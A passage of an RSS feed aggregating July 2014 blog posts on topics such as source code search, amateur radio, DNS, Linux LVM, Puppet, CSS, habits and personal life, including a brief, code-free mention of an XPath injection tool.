                &lt;p&gt;&lt;a href="https://huckberry.com/journal/posts/dark-iceland"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 29 Jul 2014 10:05:08 GMT</pubDate><guid isPermaLink="true">https://huckberry.com/journal/posts/dark-iceland</guid></item><item><title>Feedback Loop</title><link>https://boyter.org/2014/07/feedback-loop/</link><description>&lt;p&gt;About a month ago searchcode.com managed to sit on the front page of Hacker News (HN) for most of a day and produced a lot of useful feedback for me to act on. You can read the full details here &lt;a href="https://news.ycombinator.com/item?id=7947075"&gt;searchcode: A source code search engine&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Between the HN feedback, some I received via tweets and from republished articles I got a list of things I needed to work on.&lt;/p&gt;
&lt;p&gt;The first and main change requested was over the way searchcode was matching results. It was by default looking for exact matches. Hence if you searched for something like &amp;ldquo;mongodb find&amp;rdquo; it would look for that exact text. It was requested by quite a few people to change this. The expectation was that the matching would work like Githubs. This has now taken effect. A sample search that came up is included below with the new logic,&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 29 Jul 2014 02:37:36 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/07/feedback-loop/</guid></item><item><title>Simple APRS KK6NXK</title><link>https://blog.nobugware.com/post/2014/07/28/simple-aprs/</link><description>APRS is a tactical digital communications system used between amateurs radio, to exchange positions &amp;amp; messages, here I blog my experience decoding/encoding APRS with a small Arduino as it may help some of you too.
Some transceivers are incorporating this functionalities but most of them don&amp;rsquo;t, a lot of new technicians start with cheap Baofeng radios (30$) which don&amp;rsquo;t provide advanced functionnalities but here is a way to solve that.</description><author>Fabrice Aneche</author><pubDate>Tue, 29 Jul 2014 00:36:59 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2014/07/28/simple-aprs/</guid></item><item><title>Getting to Know Fiddler: Part II: Simulate client side requests without needing the client side</title><link>https://joshuarogers.net/articles/2014-07/getting-know-fiddler-part-ii/</link><description>Last week we started looking at the web proxy Fiddler, or the &amp;ldquo;Fiddler Web Debugger&amp;rdquo; as it unfortunately bills itself. While the name is accurate, I can't help but feel that it is a bit of an understatement, much like calling the Hulk &amp;ldquo;somewhat tempermental&amp;rdquo;1, or MacGyver &amp;ldquo;good at assembling things&amp;rdquo;. Sure, Fiddler is a debugger, but it's less of a simple tool and more the web equivalent of a swiss army knife that contains an entire Home Depot2.</description><author>Joshua Rogers</author><pubDate>Mon, 28 Jul 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-07/getting-know-fiddler-part-ii/</guid></item><item><title>Economic Power in the Age of Abundance</title><link>http://stratechery.com/2014/economic-power-age-abundance/</link><description>&lt;p&gt;A more apropos title, I feel, might read something along the lines of &amp;#8220;Entitlement in the Age of Abundance&amp;#8221;. Between that, and Ben&amp;#8217;s actual title, I&amp;#8217;m sure you can get a fair idea as to the subject matter of his article. And his closing point: the cliched &amp;#8220;you never know what you&amp;#8217;ve got &amp;#8217;till it&amp;#8217;s gone&amp;#8221;. I find it remarkable how many love to hate companies like Google, yet have no problem crawling back to them when they finally realize how instrumental the &amp;#8220;evil overlord&amp;#8221; was to their daily operations. Whether an individual whining about the company&amp;#8217;s privacy practices or, as is the case here, a publisher acting on a misplaced sense of entitlement, the outcome is the same.&lt;/p&gt;

&lt;p&gt;Stick to your high-brow morals if you must, but if you must, actually stick to them.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/economic-power-age-abundance/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 28 Jul 2014 10:11:43 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/economic-power-age-abundance/</guid></item><item><title>The Precipice</title><link>http://imgur.com/a/Iq9HJ/</link><description>&lt;p&gt;It&amp;#8217;s no secret that I harbor a strong dislike of The Verge: perpetually vying with public radio for the title of my most hated news institution, I make no bones about &lt;a href="https://twitter.com/zacjszewczyk/status/492809842709782528"&gt;sharing&lt;/a&gt; this &lt;a href="https://twitter.com/zacjszewczyk/status/491710620749012992"&gt;disgust&lt;/a&gt; with others. And so, because of that, when the news first broke that Josh Topolsky&amp;#160;&amp;#8212;&amp;#160;a writer I have &lt;a href="https://zacs.site/blog/bullies.html"&gt;no great love for&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;was leaving Vox for Bloomberg, I barely took notice; however, a lot of other people have, and this has since become quite the news story for many. To each their own, I suppose.&lt;/p&gt;

&lt;p&gt;Until this morning, I had not planned to write anything about this event: I just &lt;em&gt;don&amp;#8217;t care&lt;/em&gt;. But then Daniel Ignacio &lt;a href="https://twitter.com/dotdapple/status/493281692048576512"&gt;sent me a link&lt;/a&gt; to a conversation between him and Mathew Conto, and I just couldn&amp;#8217;t resist &lt;a href="http://imgur.com/a/Iq9HJ/"&gt;sharing the link here&lt;/a&gt;: this is everything you need to know about The Verge and Josh Topolsky&amp;#8217;s move both. Welcome to The Precipice.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://imgur.com/a/Iq9HJ/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 27 Jul 2014 22:31:06 GMT</pubDate><guid isPermaLink="true">http://imgur.com/a/Iq9HJ/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-72014.html</link><description>&lt;p&gt;This week, thanks to Carl Holscher and Daniel Ignacio, I have discovered two great new podcasts. Alongside these two shows, I once again present my list of the best podcasts I have had the privilege to hear over the past seven days. These are the best of the best, folks, and as such I hope you will spend some time checkout out each and every one of them. I promise: it will be worth your time.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-72014.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 27 Jul 2014 12:12:41 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-72014.html</guid></item><item><title>Tiny Habits take 2</title><link>https://josh.works/growth/2014/07/27/tiny-habits-take-2/</link><description>&lt;p&gt;Dr. BJ Fogg runs 
&lt;a href="http://tinyhabits.com/"&gt;Tiny Habits&lt;/a&gt;, a one-week course on building new habits.
Since most of what we do is governed by habits, it is reasonable to study how to build new ones, or replace bad ones.&lt;/p&gt;

&lt;p&gt;I 
&lt;a href="/blog/2013/01/21/tiny-habits"&gt;have done his course before&lt;/a&gt;, and had success. I have been reading 
&lt;a href="http://www.amazon.com/Free-Spending-Your-Money-Matters/dp/0830836497"&gt;Free&lt;/a&gt;with Kristi and some good friends of ours, and want to work more small but substantive things into my life. I am starting small, with the recommended item of flossing being Tiny Habit #1. I want to learn the methodology before trying too many habits of my own.&lt;/p&gt;

&lt;p&gt;Habit #2 is “Mindful Breathing”, a la Google Employee Chade Meng Tan’s book 
&lt;a href="http://www.amazon.com/Search-Inside-Yourself-Unexpected-Achieving/dp/0062116924"&gt;Search Inside Yourself&lt;/a&gt;. He writes about 
&lt;a href="http://en.wikipedia.org/wiki/Emotional_intelligence"&gt;Emotional Intelligence&lt;/a&gt;. Worth the read.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 27 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/07/27/tiny-habits-take-2/</guid></item><item><title>To Forgive by Mestup Poems</title><link>https://ho.dges.online/words/commonplace/to-forgive-by-mestup-poems/</link><description>&lt;p&gt;To forgive&lt;br /&gt;
Is not to forget.&lt;/p&gt;
&lt;p&gt;To forgive&lt;br /&gt;
Is really to remember&lt;br /&gt;
That nobody is perfect&lt;br /&gt;
That each of us stumbles&lt;br /&gt;
When we want so much to stay upright&lt;br /&gt;
That each of us says things&lt;br /&gt;
We wish we had never said&lt;br /&gt;
That we can all forget that love&lt;br /&gt;
Is more important than being right.&lt;/p&gt;
&lt;p&gt;To forgive&lt;br /&gt;
Is really to remember&lt;br /&gt;
That we are so much more&lt;br /&gt;
Than our mistakes&lt;br /&gt;
That we are often more kind and caring&lt;br /&gt;
That accepting another&amp;rsquo;s flaws&lt;br /&gt;
Can help us accept our own.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 27 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/to-forgive-by-mestup-poems/</guid></item><item><title>How does the sdslabs.co.in domain name work?</title><link>https://captnemo.in/blog/2014/07/27/how-does-sdslabs-co-in-work/</link><description>&lt;p&gt;A very common asked question is about our domain name and how does it work locally. When we launched &lt;a href="https://blog.sdslabs.co/2010/11/hello-world"&gt;filepanda, and our preliminary homepage&lt;/a&gt; a long time ago, we had been using the easy to remember IP address &lt;a href="http://192.168.208.208"&gt;http://192.168.208.208&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now, however we are using the domain name sdslabs.co.in for all our services, including &lt;a href="http://dc.sdslabs.co.in"&gt;DC&lt;/a&gt;. To understand how this works, you will have to understand how the name resolution of a domain name takes place.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Domain Name System (DNS) is a hierarchical distributed naming system for computers, services, or any resource connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities.&lt;/p&gt;

  &lt;p&gt;- &lt;a href="http://en.wikipedia.org/wiki/Domain_Name_System"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;DNS is basically a service which resolves domain names to IP addresses. If you own a domain name, you can point it to wherever you want. This is usually done in the administration panel of your hosting services. We have setup multiple domains on our nameserver (&lt;a href="http://mitsu.in"&gt;mitsu.in&lt;/a&gt; as of the moment) to point to the IP address 192.168.208.x.&lt;/p&gt;

&lt;p&gt;For instance &lt;a href="http://sdslabs.co.in"&gt;sdslabs.co.in&lt;/a&gt; points to &lt;code class="language-plaintext highlighter-rouge"&gt;192.168.208.208&lt;/code&gt;, &lt;a href="http://echo.sdslabs.co.in"&gt;echo.sdslabs.co.in&lt;/a&gt; points to &lt;code class="language-plaintext highlighter-rouge"&gt;192.168.208.204&lt;/code&gt; and so on. This is done via updating something called &lt;code class="language-plaintext highlighter-rouge"&gt;A records&lt;/code&gt; (this is the part of resolution which transaltes to IPv4 addresses).&lt;/p&gt;

&lt;p&gt;The benifits of having such a system in place are enormous:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Users don’t have to remember IP addresses, and can easily remember the site address.&lt;/li&gt;
  &lt;li&gt;We can move around services, applications over different machines, and it will only take a single update to change the name resolutions&lt;/li&gt;
  &lt;li&gt;We could add alternative fallback servers easily (by having multiple A record entries) for a domain. We could even use this to point sdslabs.co.in domain to something that is hosted online, for instance.&lt;/li&gt;
  &lt;li&gt;We can have catchy, and simple to remember urls for eg &lt;a href="https://sdslabs.co.in/login"&gt;https://sdslabs.co.in/login&lt;/a&gt;, and &lt;a href="https://sdslabs.co.in/logout"&gt;https://sdslabs.co.in/logout&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also, we are running all our services on https, which &lt;em&gt;is not dependent upon the visibility of the website&lt;/em&gt;. Even though the site is hosted locally, the process of certificate signing remains exactly the same as any other site. Once we aquire a SSL certificate and attach it to our web-server, the visibility of the domain does not matter to the browser at all.&lt;/p&gt;

&lt;p&gt;Note: For the benifit of those not in IIT Roorkee, we are running multiple web-service on the domain sdslabs.co.in, which is only served locally, as it resolves to a local IP address (192.168.208.208)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Caveat&lt;/strong&gt;: Several DNS servers wil block RFC1913 responses by default (basically any DNS response in the private IP ranges). This is usually disabled in the intranet scenarios, but something to keep in mind if you’re looking to use this solution.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Sun, 27 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/07/27/how-does-sdslabs-co-in-work/</guid></item><item><title>A battle with racing</title><link>https://liza.io/a-battle-with-racing/</link><description>&lt;p&gt;I&amp;rsquo;m still on the Laravel migration. It&amp;rsquo;s going pretty well, except for last night. Last night I was porting racing.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 26 Jul 2014 19:27:05 GMT</pubDate><guid isPermaLink="true">https://liza.io/a-battle-with-racing/</guid></item><item><title>Leading Snowflakes by Oren Ellenbogen - A Pragmatic Book on Software Team Leadership I Wish I Read Sooner</title><link>http://persumi.com/u/fredwu/tech/e/blog/p/leading-snowflakes-by-oren-ellenbogen-a-pragmatic-book-on-software-team-leadership-i-wish-i-read-sooner</link><description/><author>Fred Wu (@fredwu)</author><pubDate>Sat, 26 Jul 2014 18:49:00 GMT</pubDate><guid isPermaLink="true">http://persumi.com/u/fredwu/tech/e/blog/p/leading-snowflakes-by-oren-ellenbogen-a-pragmatic-book-on-software-team-leadership-i-wish-i-read-sooner</guid></item><item><title>Packages I do use</title><link>https://trigonaminima.github.io/2014/07/packages/</link><description>Thinking of installing a new Distro (Deepin, because of the lovely looks of this relatively new product from China) I refrained myself in apathy of installing all the packages and softwares again in the new Distro. Also, I don’t remember them all. So, now at 3:00 AM in the morning I am documenting all the packages I use. This list will keep on being modified in the future (yeah, yeah, I know you knew that).</description><author>Playground</author><pubDate>Sat, 26 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/07/packages/</guid></item><item><title>Screenshot Saturday 182</title><link>https://etodd.io/2014/07/25/screenshot-saturday-182/</link><description>&lt;p&gt;What's that you say? You didn't even notice the absence of Screenshot Saturday last week? How convenient. Let's pretend it never happened. Or rather, pretend that it did. Whatever.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://mgdsummit.com/"&gt;MGDS&lt;/a&gt; was a huge success! There was almost always a line to play the game, and I got a ton of useful feedback. Here are some pictures:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/SVJC5J7.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/SVJC5J7l.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/TP1RNeG.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/TP1RNeGl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Most of the feedback was related to level design. I came home with a phone full of "todo" items. Here are some screenshots of overhauled or brand new sections that resulted:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 26 Jul 2014 02:35:20 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/07/25/screenshot-saturday-182/</guid></item><item><title>Exploiting XPath injection vulnerabilities with XCat</title><link>https://tomforb.es/blog/exploiting-xpath-injection-vulnerabilities-with-xcat-1/</link><description>I just released XCat 0.7 , the companion tool to this paper. XCat is a command line tool to automate the exploitation of Blind XPath Injection Vulnerabilities , utilizing some pretty cool techniques. The most interesting technique is that xcat can automate out of band attacks to massively speed up e...</description><author>Tom Forbes</author><pubDate>Fri, 25 Jul 2014 20:19:03 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/exploiting-xpath-injection-vulnerabilities-with-xcat-1/</guid></item><item><title>How I See Money Differently</title><link>https://zacs.site/blog/how-i-see-money-differently.html</link><description>&lt;p&gt;Sam Dogen had another thought-provoking post over at Financial Samurai recently, this time looking at the very interesting difference between the way that Americans and Europeans in particular view money. I encourage you to read the entire thing: &lt;a href="http://www.financialsamurai.com/how-europeans-see-money-differently-from-americans/"&gt;How Europeans See Money Differently From Americans&lt;/a&gt;. Most interesting out of this entire piece, though, and definitely the most impactful statement for me, was that of his conclusion: &amp;#8220;Remember that money is only a means to an end. What is your end?&amp;#8221;&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/how-i-see-money-differently.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 25 Jul 2014 09:42:03 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/how-i-see-money-differently.html</guid></item><item><title>Taking the Plunge with Colemak</title><link>https://josh.works/jobs/growth/2014/07/25/taking-the-plunge-with-colemak/</link><description>&lt;p&gt;This entire post is written in 
&lt;a href="http://colemak.com/"&gt;Colemak&lt;/a&gt;.
I am aiming to write at least 100 words, and this is certainly harder than copying someone else’s words.&lt;/p&gt;

&lt;p&gt;I have completed a few hours of dedicated practice, and it is quite possible that I am jumping the gun, and will quickly revert to QWERTY. I intend to finish work tomorrow in QWERTY, and then spend the weekend practicing hard, and stay in Colemak all next week.&lt;/p&gt;

&lt;p&gt;I will be honest. This seems like I am biting off more than I can chew. Don’t laugh, but from when I started typing to now, almost ten minutes have elapsed. I need to double my speed (and accuracy) by Monday if I want to have any hope of doing this.&lt;/p&gt;

&lt;p&gt;Protip: If changing keyboard layouts, change your password to just numbers and symbols. It is hard to get passwords right when you cannot rely on muscle memory 
orsight. And embarrassing when you just can’t get it…&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5de4b0278244cea1ae/1434910444242/2014-07-23-20-33-22.jpg"&gt;&lt;img alt="This chicken was delicious!" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5de4b0278244cea1ae_1434910444242_2014-07-23-20-33-22.jpg_" /&gt;&lt;/a&gt; This chicken was delicious!&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 25 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/jobs/growth/2014/07/25/taking-the-plunge-with-colemak/</guid></item><item><title>Focus: One Thing at a Time</title><link>https://josh.works/growth/2014/07/25/focus-one-thing-at-a-time/</link><description>&lt;p&gt;The pressure to be working on more than one thing at a time is enormous. This pressure comes from no one but me. And before I dismiss this tendency as “proof that I work too hard”, I must take another tact. It comes from a need to satisfy my ego. It is much easier to say “I did not finish that because I got distracted by another project” than “I did not finish because I gave up” or “it was too hard.”
My enthusiasm carries me through the opening stages of any project, but quickly wanes. Now is what separates the men from the boys.&lt;/p&gt;

&lt;p&gt;There is a lot on 
&lt;a href="https://josh-thompson-f385.squarespace.com/epic-quest"&gt;The List&lt;/a&gt;. Nothing of substance will be accomplished without focus.&lt;/p&gt;

&lt;p&gt;Along the lines of focus: this post was written in Colemak. I did not time it, but it was much less frustrating than yesterday.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5de4b0278244cea1b5/1434910446757/2014-07-25-15-21-28.jpg"&gt;&lt;img alt="Today's Afternoon Workstation" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5de4b0278244cea1b5_1434910446757_2014-07-25-15-21-28.jpg_" /&gt;&lt;/a&gt; Today’s Afternoon Workstation&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 25 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/07/25/focus-one-thing-at-a-time/</guid></item><item><title>Setting up an AWS EC2 instance for Gastropoda</title><link>https://liza.io/setting-up-an-aws-ec2-instance-for-gastropoda/</link><description>&lt;p&gt;It all started with &lt;a href="http://www.reddit.com/r/gamedev/comments/2bjx8t/php_script_to_help_with_your_motivation/" target="_blank"&gt;a cool little PHP script&lt;/a&gt; that someone posted on /r/gamedev this morning to publish completed &lt;a href="https://trello.com/lizashul/recommend" target="_blank"&gt;Trello&lt;/a&gt; tasks easily to a change log of sorts.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 24 Jul 2014 23:42:23 GMT</pubDate><guid isPermaLink="true">https://liza.io/setting-up-an-aws-ec2-instance-for-gastropoda/</guid></item><item><title>One-Way Ticket to Ride</title><link>http://nextdraft.com/archives/n20140721/one-way-ticket-to-ride/</link><description>&lt;p&gt;Worth linking to again, courtesy of Dave Pell&amp;#8217;s The Next Draft this time around on the forty-fifth anniversary of Apollo 11&amp;#8217;s historic mission: the speech President Nixon plan to give in the event of a moon disaster. Incredible, and remarkable chilling:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;Fate has ordained that the men who went to the moon to explore in peace will stay on the moon to rest in peace.&amp;#8221;&lt;/p&gt;

&lt;/blockquote&gt;

                &lt;p&gt;&lt;a href="http://nextdraft.com/archives/n20140721/one-way-ticket-to-ride/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 24 Jul 2014 22:49:34 GMT</pubDate><guid isPermaLink="true">http://nextdraft.com/archives/n20140721/one-way-ticket-to-ride/</guid></item><item><title>Shrinking the (LVM) log-partition on Linux</title><link>https://www.zufallsheld.de/2014/07/24/shrinking-the-lvm-log-partition-on-linux/</link><description>&lt;p&gt;Enlarging an &lt;span class="caps"&gt;LVM&lt;/span&gt; partition on a linux machine is trivial. You only need one command to do it and it can even be done when the partition is&amp;nbsp;mounted.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;pre&gt;&lt;code&gt;lvresize -r -L +20G /vg1/lvm1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command enlarges the &lt;span class="caps"&gt;LVM&lt;/span&gt; &lt;em&gt;lvm1&lt;/em&gt; to &lt;span class="caps"&gt;20GB&lt;/span&gt;. Assuming you use an ext, ReiserFS or …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Thu, 24 Jul 2014 22:25:50 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/07/24/shrinking-the-lvm-log-partition-on-linux/</guid></item><item><title>Hybrid management of FreeIPA types with Puppet</title><link>https://purpleidea.com/blog/2014/07/24/hybrid-management-of-freeipa-types-with-puppet/</link><description>&lt;p&gt;&lt;em&gt;(Note: this hybrid management technique is being demonstrated in the &lt;a href="https://github.com/purpleidea/puppet-ipa"&gt;puppet-ipa&lt;/a&gt; module for &lt;a href="https://www.freeipa.org/"&gt;FreeIPA&lt;/a&gt;, but the idea could be used for other modules and scenarios too. See below for some use cases&amp;hellip;)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The error message that puppet hackers are probably most familiar is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;Error: Duplicate declaration: Thing[/foo/bar] is already declared in file /tmp/baz.pp:2; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;cannot redeclare at /tmp/baz.pp:4 on node computer.example.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Typically this means that there is either a bug in your code, or someone has defined something more than once. As annoying as this might be, a compile error happens for a reason: puppet detected a problem, and it is giving you a chance to fix it, without first running code that could otherwise leave your machine in an undefined state.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 24 Jul 2014 03:41:08 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/07/24/hybrid-management-of-freeipa-types-with-puppet/</guid></item><item><title>The 30 CSS Selectors You Must Memorize</title><link>http://code.tutsplus.com/tutorials/the-30-css-selectors-you-must-memorize--net-16048</link><description>&lt;p&gt;I don&amp;#8217;t do this often, but for all the help Tuts+ gave me as I worked to &lt;a href="https://zacs.site/blog/first-crack-10.html"&gt;expand the functionality&lt;/a&gt; of this design over the past few weeks, I can&amp;#8217;t let it slip by without note. When I build a site, I prefer to do everything humanely possible with CSS rather than outsourcing it to JavaScript. Due to this perhaps irrational desire, everything&amp;#160;&amp;#8212;&amp;#160;including device detection&amp;#160;&amp;#8212;&amp;#160;but the ability to enter dark mode and save that preference across multiple sessions is managed strictly using CSS. As I&amp;#8217;m sure you web developers out there can understand, this led to some sticky situations in which I almost resorted to a quick and dirty script. Thanks to resources like this one though, I managed to keep my use of JavaScript down to a minimum, and continue to ship a speedy site for you all to read. Next time you import jQuery out of habit, think back to this and ask yourself, &amp;#8220;Can I do this with CSS?&amp;#8221; Because after seeing tutorials like this, I bet you can.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://code.tutsplus.com/tutorials/the-30-css-selectors-you-must-memorize--net-16048"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 23 Jul 2014 20:18:06 GMT</pubDate><guid isPermaLink="true">http://code.tutsplus.com/tutorials/the-30-css-selectors-you-must-memorize--net-16048</guid></item><item><title>Winter on Two Pairs of Socks</title><link>https://josh.works/home/2014/07/23/winter-on-two-pairs-of-socks/</link><description>&lt;p&gt;We’re 
&lt;a href="http://www.theminimalists.com/minimalism/"&gt;minimalists&lt;/a&gt;, mostly. We try to not have a bunch of stuff. This naturally extends to the wardrobe.
I’ll cover more about what we wear another time, but for now, I want to give you an idea. With the right socks, you can go an entire winter with just two pairs of socks. You wear one, and the other sits in your drawer. When one pair is dirty (which can take some time, with the right socks) you wash ‘em and switch.&lt;/p&gt;

&lt;p&gt;Packing is easy. You wear on pair. To cover all sock-wearing needs, you put your other pair in your bag. Done.&lt;/p&gt;

&lt;p&gt;These are not normal socks, of course. I have been wearing 
&lt;a href="http://us.icebreaker.com/en/mens-socks/lifestyle-ultra-lite-crew-stripey/100113K90L.html?prefn1=activity&amp;amp;start=18&amp;amp;cgid=mens-socks&amp;amp;prefv1=Travel%20%26%20Lifestyle"&gt;Icebreaker Stripey&lt;/a&gt; socks for about a year, now. When not wearing those, I wore some old wool socks until my Icebreaker socks dried. (I didn’t wear them only when they smelled foul, which took usually at least four days of daily use).
I’ve not been extremely thrilled with the Icebreaker socks, and recently wore a hole through them. (Daily use for a year could seem excessive, but I have high standards.) Icebreaker Customer Support kindly sent me a replacement pair, and it seems the problem I had with the first pair will not be a problem with the second.That said, I’m still interested in trying a pair of 
&lt;a href="http://darntough.com/men/mens-lifestyle"&gt;Darn Tough&lt;/a&gt;socks as my “other” pair. Two good pairs of socks cover all my cold-weather 
anddress-sock needs. (I wear these in formal occasions, too. Anytime I wear long pants, one of these pairs of socks is on my feet.So - washing. What’s up with that. How I do it?Yes. In a sink. Or in the shower. Or in a washing machine. (But do 
not put them through the drier). The wool used by Icebreaker or Darn Tough is not like cotton. It doesn’t pick up odor, it dries quickly, and it easily releases any stink it does pick up. So, when in the shower, soak the socks, maybe add a little soap, get them wet, rinse them out, hang them up, and they’ll be dry and stink-free in the morning.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 23 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/home/2014/07/23/winter-on-two-pairs-of-socks/</guid></item><item><title>Benefits of helplessness</title><link>https://josh.works/home/2014/07/23/benefits-of-helplessness/</link><description>&lt;p&gt;The last few days were rough, strangely enough. I live in beautiful Golden, Colorado with my best friend (who I happen to be married to), and I’ve got a pretty cool job to boot. That’s the “big three”, right? (Relationships, work, location.)
Yep. Except from Thursday through Monday, I was more or less sick as a dog. I could barely talk, slept extremely poorly, and had a fever that was usually north of 101. I spent a lot of time sleeping, and the rest of the time wishing I was asleep.&lt;/p&gt;

&lt;p&gt;We spent a lot more at Rite Aid than we normally would, I watched a lot of movies, and played a fair amount of video games. (More accurately, I existed in the same physical spaces as a movie that was turned on. My attention wandered, as did my consciousness.) I read about six paragraphs, over those six days, and worked at least a few hours of them.&lt;/p&gt;

&lt;p&gt;So - what good came from these five days?&lt;/p&gt;

&lt;p&gt;Plenty. I just have to look for it.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;I was loved by my wife. I didn’t have to lift a finger in my own aid. It’s rare that I’m totally bedridden, and it was good let myself be served, free of guilt and trying to serve back. Marriage isn’t 50/50. These last few days it was 100/0.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I was forced to do nothing.  It was harder than I first expected, mostly because a lot of the things I normally would do I was unable to do.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I am blessed. These last few days helped that really sink in.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 23 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/home/2014/07/23/benefits-of-helplessness/</guid></item><item><title>Throwing Under The Bus</title><link>https://www.craigpardey.com/post/2014-07-23-throwing-under-the-bus/</link><description>&lt;p&gt;Throwing somebody under the bus (&lt;a href="http://en.wikipedia.org/wiki/Throw_under_the_bus" title="Wikipedia"&gt;ref&lt;/a&gt;) is a cowardly act, and one that particularly irks me.  Nobody likes to be humiliated in front of others.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve seen this happen countless time when a developer will point out a bug or error of another developer and use it as an excuse for not delivering on their own work.  &amp;ldquo;I couldn&amp;rsquo;t load the data because of a bug in Johnny&amp;rsquo;s code&amp;rdquo;. Bullshit.  If you were a team player then you would have pulled up a chair next to Johnny and tried to fix the bug so that the project could move forward.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Wed, 23 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-07-23-throwing-under-the-bus/</guid></item><item><title>Summer holidays and Amsterdam</title><link>https://liza.io/summer-holidays-and-amsterdam/</link><description>&lt;p&gt;July is when Sweden goes on holidays. Businesses are closed for the summer (quite a few of them, anyway), people take time off work, the weather doesn&amp;rsquo;t suck. Usually people tend to go away to other countries, which to me is ludicrous because after all that snow and cold these months are &lt;em&gt;finally&lt;/em&gt; when Sweden gets 